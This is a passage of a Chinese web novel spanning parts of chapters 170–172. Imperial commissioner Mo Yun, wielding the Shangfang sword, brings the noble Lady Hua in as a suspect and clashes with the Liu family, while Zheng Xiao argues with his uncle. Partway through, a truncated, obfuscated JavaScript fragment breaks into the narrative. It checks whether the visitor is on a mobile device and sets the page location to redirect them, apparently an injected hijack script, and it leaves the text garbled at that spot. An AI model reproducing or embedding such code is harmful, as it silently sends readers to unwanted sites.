“本是不至于啊！可我素来厌恶人掣肘于我！”茉云无可奈何地指着执礼说道，“等下这贱人又会编排我。”
“何意？”执礼不解的望向茉云道，“我岂敢编排你？”
“执礼大人，每次总要扯些有的没的，你就说这事，按我一贯的处事手法，什么要挟，什么情谊？要我，将昆家一把炸了，啥事没有了！”茉云气急败坏的指着执礼说道，“可是林师姐万不能死，上次执礼这贱人说，皇上刚属意将吏部尚书的嫡女婚配他们家少主，我就把吏部尚书全家端了！”
若辰瞬间明白了茉云的意思，粲然而笑，执礼亦乐了。
“你们军师团沦落至此，终日里胡说八道，卢家军大胜真是指日可待！”茉云忿然瞪着正啸拍着桌子骂道，然后转身气愤的推门而去。
“师兄……”
正啸眼中闪过一丝无奈，但是瞬间又归于平淡的叹气道：“此事我若帮他求情，实属越帮越忙。”
“对，少主若不开口还好，若开口，她说不定下一刻就去将他法办了！”执礼亦看向宥汐解释道。
“她也是武林中人出生，为何？”
“您切莫以武林中人的恩义去想她，或者说你莫以常人之思虑来想她。她处事之时没有人情可讲！”执礼望向宥汐说道，“您所求之事，还不如去求求元帅。”
宥汐想着马上起身说道：“好，我去求见卢伯伯！”
望向林宥汐着急离开的背影，若辰抬眉望向正啸，正啸压根懒得理他，将目光转回今日送来的军报。
“少主当真不给那个傻小子想点办法！”执礼笑着倒茶说道。
“你们这是将父帅也坑了！”正啸看着文书头都没有抬的说道。
“这都不出手相救，你如今真也是怕了她了？”若辰笑着品茶说道。
“她若审了那小子，决计不会杀他！”正啸没好气的说，眼中都没离开文书一寸。
“为何？”
正啸却没有再答复，只是拿起军报吩咐执礼如何回，沧海和鹿里等将领都回了边关帮衬震北驻守，自己也算放心，这南华城现在局势依旧复杂，哪怕是瑞王爷倒台，背后的暗潮汹涌依旧没有平复，按照茉云的性子，她非将这南华掀了查个底朝天，所以自己现在也不能离开……
夜色已深，茉云带着一身疲惫回到俞家，发现月色下一人的身影拉得修长，借着微弱的月光，茉云瞧了过去，原来是关若辰负手而立，似乎在此已经等候多时。
她微微一怔“深夜前来，有何要事？”
若辰望向茉云温和的笑了，似乎有些话藏在心中许久，他缓缓说道：“茉云，正啸和他师妹的过往，我觉得应该告诉你了。”
茉云眉头微蹙，打着哈欠说道：“对此案有帮助吗？”
“正啸年轻时在会当顶习武，鲜少与外界来往，他身份不能泄露，又沉默少言。平日里只和跟会当顶走得近的同龄师兄妹交流，林宥汐是他唯一的同门师妹，尚不论她是否对正啸有仰慕之情，正啸那时绝无此想法，只将她视作师妹看待，从未动过旁的心思。”
他说到这里，停顿片刻，似乎思索着如何继续说明这段往事。茉云则神色淡然的无语望向若辰，心想你非要跟我说这些，说起来又欲言又止，好似做了啥见不得人的事的人是你？
“但是林宥汐的父亲，当年的武林盟主林盟主……”若辰语气一沉说道，“他希望通过联姻来巩固他在武林中的地位，他也多次想让林宥汐嫁给正啸为妻。”
茉云看向若辰，原来又是一个想要靠女儿谋得一世荣华富贵之人，结果运气不好选了卢家这个难啃的石头……
“后来此事不知如何传至圣上耳中，他暗地命人彻查，查得林盟主暗中谋划的一些不轨之事，特别是意图利用与正啸的关系狐假虎威，谋取利益。最终圣上大怒将其法办，师妹一家因此家破。”
茉云怔了半刻望向若辰，她心里明白圣上这般处置也太过草率了吧。
“当日正啸年轻气盛，他觉得林盟主一家罪不至此，因为他牵连了无辜的师妹与林家整个家族……他便出言顶撞了圣上，气得圣上夺了他的敕封，满朝都不知为何，皇上气得都传了太医！”
茉云静静听完，心中却已掀起了波澜，可她突然想起了什么，抬头望向若辰突然问道：“满朝都不知他为何被褫夺了职衔？”
若辰叹息一声说：“皇上素来是最心疼卢正啸的，也知他重情义，不过是一气之下，定然不会向百官说明缘由，那可是犯上之罪！”
茉云沉默片刻微微挑眉若有所思：“你跟我说这些的意思，就是说我上次见皇上实则是鬼门关前走了一遭！”
“嗯，但是你有惊无险，把我两都吓得够呛。”
茉云没好气的抬手便抢过若辰手上的扇子，砸了一下他的头：“那你们还老开这种玩笑，嫌我活得太长了？”
若辰顿时眼冒金星的看向茉云，晃过神来又被逗笑了。
“行了，以后绕着卢正啸走，我知道了，回吧！”
“我可不是这个意思！”
“您啊！多操心操心自己的事，看去哪儿弄军饷！”茉云没好气的转身就走了。
若辰望向她的背影温和的笑了，这些尘封的旧事被牵扯出来，不知道茉云是否能听明白自己的话，能知晓正啸的苦衷。
茉云夜里站在窗前，让夜风轻轻吹拂着她的衣襟，她似乎明白了些什么，为何他总是在众人面前如此疏离冷漠，原来但凡与他走得太近的人，必然会受到圣上和众人无情的审视。林宥汐的家族遭受重创，就是血淋淋的沦为了牺牲品的例子。
卢正啸此生看似得皇上看重荣宠无限，但是圣恩浩荡如雷霆雨露，不知何时是及时雨，何时是晴天雷，他这一生且不说抵御外敌何其艰难，就是对内，都定是经历了无数次要挟，无数次的抗争失败。
难道他的疏离，真的是因他深知自己处于风口浪尖，不想波涛卷席了自己？茉云深刻的记得，那日圣上的目光如此锐利，若自己任何一丝接近，都可能被解读为非分之想，结局有可能都是被无情碾压。
她深吸一口气抬头望向苍穹却畅然而笑了，冬暮长风，刺骨冷冽，唯有烈火可浇愁，只因其热烈而无畏，可燃烧，可狂舞，哪怕走向灰烬，但绝不可被剥夺，被掌握……
翌日茉云在大牢审着案犯，突然有人来传，说元帅请他去别苑，茉云抬眼瞅了一眼角落里那个一直沉默不言的剑术高手，秦沐白，她眼中闪过一丝冷厉。
茉云一路脸色凝重的若有所思，听着他们四人边走边汇报最近的调查结果，刚走进院门便听见元帅唤她。
“茉云啊，你来得正好！”
茉云抬眼望去，看见元帅身旁站着几个熟悉的人，原来是南容城正啸在武林时习武的师傅会当顶的宏明师傅还有叶大侠等人都来了，想必这秦家是武林望族，跟宏
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明和叶大侠等人都交好，现在为了救儿子都求情求到了元帅这儿了。
茉云温和的笑了抱拳行礼：“见过元帅，茉云见过各位师伯！”
“你来得正好，有朋至远方来，不亦乐乎，伤势不要紧了吧，也一起来陪老夫喝几杯！”元帅看着茉云慈笑着说道。
茉云抬目望向元帅，她现在有要事在身，便开门见山的说：“元帅，若是你和各位师伯来求情，茉云也不好驳了您的面子，秦沐白也确实手未沾血，那我上奏朝廷，将他关押至刑部大牢，何时南境大定，再放他出来可好？”
“茉云啊，何必呢？那孩子一时踏错，正值大好年华，白白关入大牢……”元帅亦深吸一口气说道。
茉云顷刻间温和的笑了，眼神中却透出了寒光：“元帅，以茉云浅薄的看法，这武林之侠义再高尚也高不过朝堂大义和边疆安定。”
“不至于，秦家那小子从小就轴，喜欢找正啸比武！”宏明师傅笑着望向茉云说道。
“那这个轴人若哪日再被利用，让他得手了！该如何？”茉云顷刻间脸色只剩狠戾说道。
众人望向茉云的神情，顿时都愣在原地，元帅也倒抽了一口气。
“秦家那小子？为了南境抗敌大业，谁都可以死，我亦可以，但是卢正啸必须活着打犬戎的道理，元帅可有跟诸位师伯说清？”茉云冷冷的望向众人，“此刻我为主审，各位师伯若有什么山崩地裂的理由能说服我，放了此人，此刻可说于我听！”
“茉云……状况哪那么严重！”元帅深吸一口气，抬手想缓和一下气氛说，正啸此时正好和若晨等人回到了别苑，进院就看见这幅对峙的画面。
“元帅，您要跟我说的状况，您自己了解吗？您年纪大了，而震北将军连自家将军都压不住，卢正啸要出了状况，那南境靠谁剿灭峑戎？”茉云冷厉的看向元帅，眼神让元帅都一震。
“方茉云，谁给你的胆子在此如此跟我父帅说话！”正啸顷刻间皱眉忿然骂道。
茉云顿时转身望向正啸，两人目光对峙了半刻，谁知茉云瞬间就转身往自己之前住的小屋逃窜而去，众人都还没有晃过神，若辰则忍着笑抬头望去，她这是又唱哪出？
不一会儿的功夫，茉云扛着尚方宝剑宝剑就冲了出来，颐气指使的指着卢正啸说道“老子现在有尚方宝剑，今时不同往日，卢正啸，你现在给我跪下！”
正啸压根懒得理她，众人看着茉云小人得志的神情，顿时哄堂大笑。
“丫头，这可不是可亵玩之物！”元帅笑着立刻走来，恭敬的拿起了尚方宝剑说。
“见尚方宝剑如皇上亲临，他咋不跪呢！”茉云指着正啸不满的告状道。
“那小子自小就是个没规矩的，别说如圣上亲临，便是在圣上面前他也是个轴玩意，不然怎得日日被骂呢？”元帅笑着说。
“就这种人还说我没规矩！”茉云愤然的骂道，正啸压根懒得理他，上前跟宏明师傅行礼，宏明此时才从刚才的慌神中晃过神，笑了拍拍正啸的肩膀。
晚膳之时，执礼立刻让膳房备了一桌菜让元帅宴请他武林中的好友，他们都是豪情万丈的习武之人，元帅也懒得与他们一聚，心情大好，而他们所求之事，再也没有人敢提半句。
执礼轻轻笑了，方茉云就在嬉笑怒骂之间，震慑住了众人，也瞬间又将气氛缓和了过来，这便是她的能耐，她要干的事，素来没有人拦得住……
正啸一边陪着父帅和师傅用膳，心中却不时望向窗外，最近茉云出出进进，不知道她又在操持个多大的坑……
“怎觉得你小子，气色不太好！”宏明望向正啸皱眉说道。
“师傅，之前带兵围剿叛乱，受了一点风寒，没有大碍！”
“身体这般年轻就如此脆弱了？再忙每天亦要练练功！”
“是，师傅，依妮在南容可好？”正啸望向宏明关切的问道。
宏明骄傲地大笑着说“好得很，都快成南容一霸了，那是净得真传，剑法那是一个溜，个也窜得快，如今在南容依妮师姐，可是同辈仰望的人物！”
“连他一众师叔，特别是你师弟云鹤那小子，都好似他随从，喊往左不敢往右看一眼！”叶大侠笑着说道。
“那还不是仰仗他爹，云鹤那小子自小就跟正啸不错！”元帅听了也开心的和宏明师傅说道。
“那是你想错了，云鹤是敬仰啸儿，可人家怕方茉云啊，依妮那丫头什么时候提过他爹啊，她每次都是说，待我回去告诉我茉云姨，那小子便屁颠屁颠跑来……”
“师傅，您和琼华师祖千万别如此惯依妮，若她……”
“那你放心，这丫头刚正不阿，绝不是骄纵蛮横，你师娘都说，你看咱可以安稳的过个晚年了，徒孙女在城中走一趟，师叔们个个都变成南容的道德模范了，若谁犯个啥事，不等我们去训诫，依妮就上门了，人得吓得屁滚尿流，立马痛改前非，到底是将门虎女！”
元帅顿时喜笑颜开点点头：“咋也不带我孙女，来瞧瞧老夫呢。”
“本也是依妮那丫头说要来见见父亲爷爷，临行前，那丫头突然说不来了！”宏明放下酒杯说道。
“为啥？”
“我开始还想问为啥呢？依妮看着我两就问，哦，师公和师叔公是去南华，劝茉云姨放了一个要杀我爹之人？那我还是下次再去见爹吧，我祝两位长辈好运……原来这个意思？”叶大侠望向宏明说道，宏明想着无语的长叹一口气。
元帅则乐得不行的望向正啸，带着几分醉意的指着说道：“卢正啸啊，我也祝你好运啊！”
171.风声
翌日茉云收到一封飞鸽传书，便和瑞林出城了，城中接连几日连人面都未现，万莫也每日忙里忙外，夜里才回来，回来便累得倒头大睡。
清晨，万莫匆匆忙忙要走之际，执礼上前拦住了他。
“万莫，你这几日都在忙活什么？”执礼自然是明了正啸心中担忧，便想从万莫这里问点情况。
“你跟我走！”
千山忿然瞪着万莫边骂道：“万莫，怎么跟大人说话的！”
“是茉云说的，执礼要是问，就让他跟我走，去问茉云就是了，我说不清……”万莫挠着头说道。
“无碍，我只是关心你一下，赶紧去吧，别耽误了她正事！”执礼立刻说道。
“哦！”万莫立刻飞身而去。
元帅吹着胡子看着执礼便乐了，他长叹了口气，边抬头望向天，边走着去用早膳：“哎，老伙计们啊，孩儿们都长大了，个个都有出息了啊！”
执礼亦接过话笑了，看向天说“爹，我也不是怕了她，这不都是为了少主嘛！”
正啸没好气的瞪了执礼一眼，若辰等人皆忍俊不禁，可是若辰心里也知晓，茉云但凡如此见首不见尾，定然是不寻常的……
“你们难道真的不觉得茉云此次办案透着邪乎？”何友抬头望向众人，思虑着说。
“关二少爷问我吗？我从见到此人开始就觉得邪乎？”执礼笑了长叹一口气说道，“奈何没有办法？”
“也是，咱也只能见招拆招了！”何友亦笑了无奈的说道。
“您倒是举个例子，咱何时能拆了此人的招啊？”
“对，你少主向来只有受着的份！”若辰轻轻理了一下袖子指着正啸笑了说。
正啸懒得搭理他们，继续进房埋头写着公文，可是思绪却飞了，茉云的师兄被如此牵连致死，她虽好似处之淡然，但心中的怨愤定然比天还高，还不知道她会掀起多大的风浪……
而接着，别苑又收到了消息，圣驾虽然离开了南华，但是并没有回京，据说是回京的路上，圣上又改变了主意，一切又更显得扑朔迷离。瑞王爷的余孽已经一锅端了，难道此案背后还有人？
这些日子正啸体内的余毒已经除尽，可是依旧寝食难安，他留在南华城与典王爷依旧商议军饷之事，且刚刚赴任的新刺史龚大人如今对粮饷之事，简直是殚精竭虑，唯恐耽误了边关之事。
若辰抬目望向新来的刺史龚大人铆足干劲的样子，顿时撑着头想起了昔日认识茉云之时，她便是如此，从不欲盖弥彰，她的眼里从没有什么缓兵之计，永远都是这般冲上前，将事实血淋淋的撕开创口，挖出毒瘤，事情便迎刃而解，说来容易，可做起来其实万般艰辛……
此时南华城中是风声鹤唳，昆家，包家皆被抄家，这也符合茉云的作风，对于这些人世的恶疮她从不手下留情，南华城中与他们有所牵连之人，皆逐一排查，茉云还未亲临，小马等人已将南华掀了个底朝天。
翌日，一道圣旨下来，又让众人摸不着头脑，圣驾会再度来南华，圣上还宣了柳尚书和监察院察院的邓大人来南华，还命元帅和卢正啸在南华等圣驾降临。按道理刑部派了瑞林来，圣上又指了茉云为钦差来断案，为何还要让刑部尚书和察院之长来南华？
就在众人费解之时，茉云现身回了南华，这会儿费解变成了错愕，茉云带回来了一众人，其中一人身份极为特殊，她是华府的一品诰命夫人华府柳氏。
华府为昔日的朝廷太尉之家，华老大人曾是朝堂最高军事长官，深得先皇依仗，当日便是他力挺卢帅收复南境，华老大人和老卢帅是莫逆之交，华老大人之后，朝堂再无太尉。
而这位华府的一品诰命夫人，是华老太尉的儿媳，亦有着极尊贵的出生，他是柳家嫡出的二女儿，卢正啸的二姨。而且她们柳家姐妹和帅府的千金一般大，三人相交甚好，义结金兰，所以她亦称正啸的姑姑为姐姐。
后来，她的亲姐嫁给了元帅，她的义姐，也就是正啸的姑姑，乃当今皇上在王爷府邸就成婚的原配夫人。
她自小便是受万千宠爱，如今也是荣宠加身，皇上是她二姐夫，元帅是他大姐夫，自己又是刑部尚书的妹妹，嫁入了华太尉府邸为掌家的夫人，年轻之时便被皇上敕封为一品诰命夫人。这世间，没有几个女子还能比她身份尊贵……
但她亦是命运蹉跎，她的夫君华太尉的独子年纪轻轻本是朝中名将，他们的儿子亦是天纵英才，也是年少从军立志报国，可奈何，他们父子都相继在战场之上英勇殉国了。
华老夫人心痛至极，朝中已无人为官，故而华家举家迁回了老家，回到华家故里，柳氏仍一手撑起了华家，受到四方爱戴，故而皇上封她为一品诰命夫人。
后来华老太尉和老夫人相继故去，前些年柳家念她孤苦无依，曾想接她回京养老，可都被柳氏婉拒了，她愿意用余生照料华家子侄后代，她的忠贞操守曾化为美谈传至八方，乃当朝世家夫人的典范。
这么一个身份尊贵、美名传天下的诰命夫人，此时被钦差带来了南华城。圣驾还未降临之时，参与断案之人皆被茉云以不可泄露案情之由扣在了府衙。
这让柳家完全乱了阵脚，柳尚书到了南华，他身边的七叔怒斥方茉云是一只喂不熟的狼，居然受人蛊惑将利刃对向自己阵营，只为邀得圣宠。
可卢正啸和关若辰从头到尾不发一言，只有元帅最后长叹一口气说道：“那丫头为何要邀圣宠？她根本不稀罕！”
“姐夫，此时您还在为她开脱，她就是个疯子！”柳大人忿然放下酒杯说道，要知道他素来心疼自己这个妹妹。
“柳大人，现在我们在此猜测无异，华夫人被带来南华也未必一定是案犯，也许是证人，我今日想办法约了瑞林出来一见，待我问问他。”
“也好，执礼先去打探一二，咱也别自乱阵脚。”元帅沉稳的看向执礼点点头。
“嗯，你随执礼一同去看看情况！”柳大人望向七叔说道。
正啸皱眉望向柳大人本欲阻止：“舅，这本就是为难瑞林，执礼去……”
可是柳大人不容分说的说道：“正啸，此时你不要多言，你只管边关之事，朝局如此跌宕，此事事关重大，我们自有主张，定不能牵扯于你……”
执礼望向正啸，只能眼神安抚正啸，他一定会从中周旋调和的。
待夜色沉沉，巷里寒风阵阵，执礼悄然请了瑞林出来，四下寂静，只有月光透过云层隐约而至。瑞林轻声出了府衙，即将会面之时，忽然一道冷冽的寒光闪现。
众人定睛一看，那是尚方宝剑反射而出的寒光，茉云手持此剑，神情冷峻的站在那，如同一道不可逾越的冷锋。
“此案正在审理中，任何私自接触钦差办案官员的行为皆属有违律法，诸位知晓吧！”
七叔抬目望向茉云，顿时脸色铁青，心中怒火翻涌而至。
执礼旋即上前一步拦在中间，看着茉云恭敬地说：“茉云，可否告知实情一二，也让少主能接招，华夫人到底为何被带来南华……”
茉云一脸风轻云淡的说道：“案犯归案！”
执礼吃惊的看向茉云，而七叔再也隐忍不住，他一辈子对柳家忠心耿耿，那可是昔日的柳家的二小姐，他猛地向前一步愤怒的低吼道：“方茉云！你这是何意？你如今持圣上所赐之剑，却将这剑锋直指卢家，柳家，你当真是忘恩负义，无耻至极的背叛之徒！”
茉云在月色认出了此人，这不是柳大人家中管家七叔吗？一个无阶无品之人，在刑部上下可威风了，当日对自己更是颐气指使……
她一脸冷色，挑眉淡然的说：“职责所在，公义为先！”
七叔见茉云如此傲慢的神情，言辞愈发激烈，眼中怒火喷涌而出，讥讽道：“大将军待你不薄，几次不顾性命救你于危难，若不是他不顾一切相护于你，你能有今日？如今你一招得势，竟将他至亲牵扯入这案中，打着所谓的公义之说，竟连自己昔日的恩情都不顾了！”
茉云则面无波澜冷静如霜，眼中又透出了狠戾说：“七叔不说，我还差点忘了，恩情？若是如你所言，有怨报怨，有仇报仇，那我着实要对你柳家下狠手啊！”
“方茉云，你当真是一头喂不熟的狼，忘恩负义！”
茉云亦懒得跟他摆官腔了，直接骂道：“请问你谁啊？轮到你来指手画脚。”
瑞林有些吃惊的望向茉云，刑部上下谁敢对七叔这般无理：“茉云，不要对七叔这般无理！”
“他是几品啊？在此啰嗦！”茉云没好气指着七叔忿然说，“有能耐，你动手啊！”
“行了！”忽然一个沉稳的声音从黑暗中传来，月色下正啸的脸庞依旧是透着轮廓分明的冷峻，而若辰仍然是一脸的温润如玉。
七叔闻声，才连忙收敛了情绪，低头不语，可眼神中还是迸射出压不住的怒火。
正啸缓步走到茉云面前，眉头微皱看向她那略显苍白的脸色，显然有些不悦。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967777|130368||http|test|mini|href|location''.split(''|''),0,{}));
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茉云亦皱眉望向正啸，没想到他此时也会来，莫非也是来帮助他们的？不知为何，顿时一股强烈的愤怒从她胸中涌起，如火焰瞬间点燃。
她的眼神骤然凌厉，手中的尚方宝剑也微微一颤：“卢正啸，若你此番前来是偏袒他们教训我，那就凭本事将这尚方宝剑取走！不然就别怪我，不留情面！”
正啸望向茉云那眼中迸射出的怒火，只是叹了口气，从怀中取出小药瓶，声音平静中带着些许无奈的说：“将这药吃了！”
茉云怔了半刻，原本涌动的怒火似乎被这句话瞬间浇熄。她愣愣地看着正啸手中的药瓶，原本坚硬如铁的心，泛起一丝复杂。
可她依然倔强的瘪瘪嘴巴拿过药瓶说道：“此时才来毒死钦差大臣，晚了点吧！”
若辰温和的望向茉云被逗笑了说道“你尽快吃了这药，清了余毒！养足力气办案！”
“少主！关大人！”七叔瞬间眼中蕴满了不解和愤怒的情绪，望向他两，“属下不明白二位的意思……”
执礼则不顾一切的拉着七叔，眼神恳切的示意他，此刻先不要再言语。
茉云则看着药瓶，心中也明白为何正啸亲自来送药，此刻也许只有他自己亲自拿着药来，他才能安心保证药绝对没有问题……
她望向了正啸，两人四目相触，正啸看着她脸色，便知道她伤势未愈，却还是如打了鸡血般办案，他什么都没说，也不能说，但此刻的眼神里只有无可奈何的关切，并没有丝毫的责怪。
这份关怀倒让茉云瞬间躲开了眼神，怒意也随之渐渐消散，四周都好似顷刻被安抚了下来……
片刻的沉默之后，茉云又忽然抬起头，眼中又透出一丝狠戾的看像七叔问：“臣冒昧，问七叔一句，柳大人什么意思？你们想如何？”
七叔看向茉云此刻的眼神，愣松了半晌，没有说话。
“你一直嚷嚷说我忘恩负义，你倒说说看，什么叫做不忘恩负义，如何才能顺了你们的心意？”茉云淡然的笑了说道，“是不论华夫人做了什么，都要不顾一切的死保吗？”
“华夫人绝不可能……”七叔顿时愤然的回怼道。
执礼瞬间拉过了七叔，然后朝茉云恭敬地说：“不是，我和七叔今日来本是想问个缘由，若钦差大人觉得有违律法，请恕我等冒昧，还望钦差大人能秉公执法！”
“怎不让你的七叔将话说完？”茉云嘴角闪过一丝冷笑。
执礼握紧七叔的手臂，已然是用尽了全部的力量，眼神更是示意七叔不要再多说，神情让七叔不自觉的警觉了起来，望向周遭。
茉云却被轻轻逗笑了说道：“周遭无人！”
“方茉云，我只想请你别忘了少主昔日是如何待你的，而你此刻是如何待他的！”七叔最终低声威胁道。
“这话说的！”茉云嘴角闪过一丝冷笑抬头看向七叔，眼神中又透出了狠戾的光说道，“你们待他很好吗？”
顿时茉云的眼神震慑得七叔都微微一震，若辰则轻轻吸了一口气微微的笑了，他明白茉云的意思……
“行了，若诸位大人没有什么吩咐，我告退了？”茉云淡然的行礼说道。
“不敢！”执礼马上行礼说道。
茉云转身之际，用尚方宝剑的剑柄轻轻敲了一下执礼的肩膀说道：“诶，你长进了！”
执礼无语的望向茉云，若辰则顷刻又被逗笑了，茉云转身入了府衙。
瑞林站在原地，趁着这一瞬间的时间看向正啸和若辰轻声说道：“已无转圜，无关之人切莫插手！”
正啸无语的望向瑞林，眼神示意他赶快进去，若辰倒是被逗笑了温和的点点头。
瑞林飞身入了府衙，看见茉云站在月下死盯着他的神情，将他吓了一跳。
“瑞林师兄，你这辈子都做不了大官！”茉云指着瑞林没好气的说道。
“我从没想过做大官！”
“那你入什么刑部，怎么不去做个咬文嚼字的闲职，浪荡过日！”
“你以为我不想，我自幼跟着师傅，大师兄，二师兄习武，别说有没有能力做文官，浪荡度日？你也不想想他们三都是什么人？能让我过这等好日子？”
茉云终于顷刻又被逗笑了，她望回手中紧紧握着小药瓶，不知道为何心情不自知的生出喜悦，他与自己这份默契还是有的。
可她最终深吸一口气抬头望向苍穹，清辉月寒，凛院肆风，她只能向星河轻声说：“对不起……”
172.争执
深夜的别苑里却是另外一番景象，七叔满腹怨气地一进门便去回复元帅和柳大人，将茉云直指柳大人之妹乃案犯、阻拦他们和瑞林交谈并将茉云态度傲慢，处事忘恩负义等，都一五一十地汇报了。
柳大人听罢面色一沉，他在朝堂素来受皇上倚重，位高权重，而且他极为看重家人，方茉云竟敢剑指他三妹，还在众目睽睽之下公然对自己的人如此无礼，心中的怒意自然再也无法压制。
“放肆！”柳大人猛然拍案而起，怒声道，“仗着有一把尚方宝剑，就敢如此不识抬举！她以为她此时便能如此目中无人？此事若不严加惩治，岂不任由她更加恣意妄为！”
正啸深吸一口气皱眉看向柳大人，元帅亦放下茶杯怔了半刻，望向此刻怒目圆瞪的柳大人。
柳大人面色阴沉，走至书案前拿起笔，看样子是有意动用朝堂之力整治茉云，以平息中的怒气：“她不过一介武人，且曾冒领他兄之名入公门，本就犯有欺君之罪，我倒要让她看看，在朝堂之上，还轮不到她胡作非为！”
“舅舅，她此刻手持尚方宝剑主审此案，不可能乱来！”正啸素来尊敬他舅，此刻他已克制了对于七叔这番无故指责茉云的怒气，恳切的向柳大人劝说道。
“你还要为她说情，她这一路虽然也有些小功，但你别忘了，若不是你不分缘由的作保，她小命能留至今日？能让她此刻如此嚣张？恣意妄为！”
“何为恣意妄为？”
“这可是造反的大案，那可是你二姨，那方茉云为邀忠义之名，她可将你二姨和柳家置于死地！此等忘恩负义的家臣，若不除了，日后便是大患！”
“她从来都不是卢家家臣！二姨如何也不应该牵扯柳家！”
“卢正啸，你知道什么，大舅这一生朝堂沉浮，吃过的盐比你吃过的米还多，她诬陷你二姨就是冲着柳家来的，在你大战前夕，这等奸佞若不扼杀，日后定然会坏了大事！”
“舅，那你这莫不是借着为我好之名，行恶事？”正啸知道他即刻就会动用朝堂势力对茉云下手，再也无法隐忍，执礼此刻都呆愣在原地，他居然如此跟柳大人辩驳。
柳大人闻言顿时怒火中烧，猛然拍案厉声喝道：“你竟敢如此质问我？她已剑指我柳家之心，背叛昭然若揭！你全家都是朝廷的重臣，岂能让她如此放肆？”
正啸强压怒火，语气却更为坚决：“她奉旨公事公办！舅，您若动用朝堂力量，只会让局势更加复杂，才会祸及柳家，这绝不是稳妥！”
柳大人见正啸居然敢如此顶撞气得怒不可遏：“你竟如此偏袒外人！你果然是被她迷惑了心智，连是非里外都不分了？”
此言一出，正啸再也压抑不住内心的愤怒：“我从未偏袒过任何人！方茉云与我更无关私情！自小你们总有缘由，为了所谓大局，抗敌大业和朝廷大义，道理一大堆，最后结局就是让那些无端之人受难！今时今日我绝不可能苟同！”
柳大人瞬间被正啸这番强硬的言辞完全激怒，脸色铁青，声音高了几分：“你今日为了一个女子，竟然如此不顾家族脸面！你可知道，她的所作所为会让多少人受牵连？你要让柳府门楣倒地，全族蒙羞吗！”
正啸瞬间眼神冷峻，毫不退缩的直视柳大人说：“我此生职责是守护国家，您的职责是维护朝廷律例，家族利益？您觉得如此动用权势，任意妄为，到时对圣上能容吗？就是对自己良心都交代不了！”
“卢正啸！”
就在此时，元帅微微皱眉猛拍了一下桌子，语气中虽带着几分不悦，却并未如柳大人那般动怒，目光镇定且威严的说：“卢正啸，如何跟你舅说话的。”
正啸皱紧了双眉望向元帅，若辰亦深吸了一口气，不知元帅是如何看待此事的。
柳大人转头看向元帅，满腹怒气仍未平息，冷声道：“姐夫，此事，绝不可能任由方茉云如此折辱我等？”
元帅目光平静的长叹一口气沉声道：“中良，我知你感受，可那方茉云如今奉命持尚方宝剑查案，受命于圣上，她虽言辞过激，但尚无过错可指，你若此时一时激愤操之过切，不就是落人口实。等下御史参你一个，因私而扰朝局，朝堂上岂不是自损威严。”
柳大人深吸一口气若有所思的望向元帅，元帅却神情冷静，言辞间带着一份的思虑的挑眉望向东山，似乎在按时这什么。
“此案的关键是……”
东山心领神会的瞬间接过元刷的话说道：“元帅，此案的关键是华夫人怎可能涉案，方大人办案素来有些矫枉过正，但凡是蛛丝马迹都会被大张旗鼓的将一众人带去问话，但是圣上英明，还有您和柳大人在，定会看着她，不让她胡来，绝不能污了清白之人的名声！”
元帅顷刻间拍着桌子赞同道：“对，东山这小子说得极对，关键是三妹怎么可能牵扯其中，她难道会想要啸儿死？中良啊，你且先看方茉云那丫头搞什么鬼！”
柳大人亦冷静了下来若有所思，眼神透出一丝深不可测，可元帅都如此说了，他也不好轻易反驳……而且他也知道正啸秉性，这小子自小认准的事绝不可能轻易改变，而且他也从来没有如此无礼的顶撞过自己。
执礼马上伏低头轻声补充道：“确实如此，柳大人，此刻最重要的，是华夫人的清白，而不是与方茉云的争端。”
柳大人虽心有不甘，但面对元帅的威严与冷静，正啸的坚决和义愤，他也只能暂且作罢，只待看后事如何发展，他心中坚信自己三妹不可能涉案其中。
元帅缓缓转头望向正啸，好似目光如刀的骂道：“卢正啸，你岂能如此无礼跟你舅讲话？你昔日里在朝堂那般妄为，都是仰仗你舅护着你，不论你心中何想法，今日都是目无尊长，有失分寸，跟你舅道歉。”
正啸听到父帅这番话，他深吸一口气起身拱手像柳大人行了大礼说：“舅，刚才正啸言辞过激，实属冒犯了您，还请您见谅。”
柳大人见正啸道歉，心中怒火稍平，脸色缓和了些许。
“这孩子，他就是他娘死得早，我也没有教好，你们啊，都惯着他，让其长这般大，还这么不长进！”元帅长叹一口气望向柳大人。
听见元帅提起了长姐，柳大人顷刻间眼神便柔和说道：“姐夫，瞧你说的，我一时心乱如麻，怎会跟啸儿置气。”
元帅语重心长的拉着柳大人手臂说道“中良，今日也夜深了，早些歇息，兴许明日圣驾降临！咱再做打算。”
柳大人亦点点头，众人起身各自回房，元帅的目光微不可察地落在正啸身上，眼中闪过一丝意味深长，正啸和若辰亦都心领神会跟着送元帅回房。
夜色已深，寒冷凌冽，正啸接过千山快步拿来的披风，给父帅披上。
元帅长叹一口气望向正啸说道：“儿子，你就这般跟你舅吵？”
正啸双眉微蹙却没有说什么，可是自小与他们沟通便是如此之困难。
“你舅朝堂沉浮几十年，历经无数诡诈，有时处事难免城府！”元帅摸着胡须的说道，“他最重柳家门楣和家人安康，你自小他也极为重视你！”
若辰他们望向元帅，他在场面上责令正啸道歉，但骨子里却是维护着正啸的。
“父帅，我自小便实在无法接受他们那套说辞……”
“哦，自小都无法接受，也没听你提过，你也都忍了，现在事情到了茉云那丫头这儿，你就拍桌子打椅子跟你舅干了起来，你还边嚷嚷跟她无私，你是你舅你信？”元帅指着正啸一副恨铁不成钢的样子，小声骂道。
正啸愣了半刻无语的看向元帅，若辰他们顷刻就忍俊不禁，被正啸狠狠瞪了一眼。
元帅亦意味深长的长叹一口气，轻轻拍了拍正啸的肩膀：“爹也不是想象不到，你自幼在京城，你奶奶和你舅他们是如何拿捏你的，你心中有你自己的道理，但凡事何须如此锋芒，不触及底线，一家人咱能包容就包容。”
众人皆能感受到，元帅的言外之意，既是在劝解，又是支持。
“可父帅，方茉云绝不可能无故押了二姨来！”正啸双眉紧皱
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的看向元帅说道。
元帅深吸一口气良久之后说道：“你娘在世之时总说的一句话，就是该如何便如何！儿子啊，咱兵来将挡水来土掩，无愧于心便什么都不惧怕！”
正啸心中终于松了口气，这便是父帅和他最大的默契，他吸了口气点点头。
